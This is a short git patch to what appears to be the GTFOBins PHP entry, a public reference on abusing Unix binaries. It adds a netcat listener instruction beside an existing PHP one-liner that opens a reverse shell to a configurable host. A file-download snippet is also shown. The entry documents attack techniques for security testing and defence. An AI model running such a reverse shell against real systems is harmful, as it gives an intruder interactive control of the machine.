From e3d9c03c96c733d29e01c463b6ee8d92a7dfb1c2 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 22 May 2018 19:23:05 +0100 Subject: [PATCH] Add PHP reverse-shell description --- _gtfobins/php.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/_gtfobins/php.md b/_gtfobins/php.md index ec45cf7..90ea116 100644 --- a/_gtfobins/php.md +++ b/_gtfobins/php.md @@ -32,7 +32,8 @@ functions: export LFILE=file_to_get php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);' reverse-shell: - - code: | + - description: Run `nc -l -p 8000` to receive the shell on the other end. + code: | export RHOST=127.0.0.1 export RPORT=8000 php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");'